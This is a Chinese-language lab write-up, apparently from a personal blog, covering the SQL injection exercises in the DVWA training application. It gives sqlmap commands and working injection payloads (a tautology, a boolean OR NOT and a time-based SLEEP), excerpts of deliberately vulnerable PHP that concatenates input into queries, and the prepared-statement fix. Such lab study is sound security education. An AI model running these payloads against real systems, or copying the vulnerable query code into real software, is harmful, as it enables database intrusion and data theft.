something about DVWA - SQL Injection
DVWA
SQL Injection(sql注入)
Low
sqlmap测试
使用
burpsuit
拦截请求将请求保存为文本文件
使用
sqlmap
对已保存的请求做sql注入
1
sqlmap -r ./sql.injection/sql.injection.low.txt --level=5 --risk=3 -p id
根据
sqlmap
结果构造恶意注入1
2
3
4# %27 => '
# %3D => =
# id=1'or'1'='1
http://train.com/dvwa/vulnerabilities/sqli/?id=1%27or%271%27%3D%271&Submit=Submit#
源码分析
直接从
request
中获取参数1
2// Get input
$id = $_REQUEST[ 'id' ];直接将参数拼接入SQL文中查询
1
2
3// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
Medium
sqlmap测试
使用
burpsuit
拦截请求将请求保存为文本文件
使用
sqlmap
对已保存的请求做sql注入
1
sqlmap -r ./sql.injection/sql.injection.medium.txt --level=5 --risk=3 -p id --batch
根据
sqlmap
结果构造恶意注入1
2
3# 构造的恶意`payload`
# 将`post`参数内容提供为
id=2 OR NOT 7336=7336
源码分析
直接从
request
中获取参数与
Low
级别相同。对参数转义特殊字符
使用
mysqli_real_escape_string()
函数转义特殊字符。1
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
直接将参数拼接入SQL文中查询
1
2$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// 再进行查询
High
High
级别主要是提交请求页面
与结果渲染页面
分离,此举主要为了防止sqlmap
等自动化工具测试。
不过sqlmap
有--second-url=xxx
参数,可以用来手动指定结果渲染页面url
。
sqlmap测试
使用
burpsuit
拦截请求将请求保存为文本文件
使用
sqlmap
对已经保存的请求做sql注入
--second-url
参数用于指定响应结果页面url
。1
sqlmap -r ~/Documents/0pentest/sql.injection/sql.injection.high.txt --second-url="http://train.com/dvwa/vulnerabilities/sqli/"
根据
sqlmap
结果构造恶意注入
源码分析
提交请求页面与响应结果渲染页面分开
提交请求页面
:1
http://train.com/dvwa/vulnerabilities/sqli/session-input.php
结果渲染页面
:1
http://train.com/dvwa/vulnerabilities/sqli/
提交请求页面提交请求后会将参数内容放到
session
中。从
session
中获取参数1
2// Get input
$id = $_SESSION[ 'id' ];直接将参数拼接入SQL文中查询
1
2
3// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// 再查询根据
sqlmap
结果构造恶意注入1
2
3# 构造的恶意`payload`
# 将`post`参数内容提供为
id=3' AND (SELECT 4198 FROM (SELECT(SLEEP(5)))Yudr) AND 'Jnep'='Jnep
Impossible
源码分析
从
token
中验证身份1
2// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );从
request
中获取参数1
2// Get input
$id = $_GET[ 'id' ];判断参数是否为数字
1
2
3
4// Was a number entered?
if(is_numeric( $id )) {
// other statements
}将参数转为
int
值1
$id = intval ($id);
将参数以
PDO
的方式预编译进sql中进行查询1
2
3
4
5// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
something about DVWA - SQL Injection
https://cyhfvg.github.io/something-about-DVWA-SQL-Injection/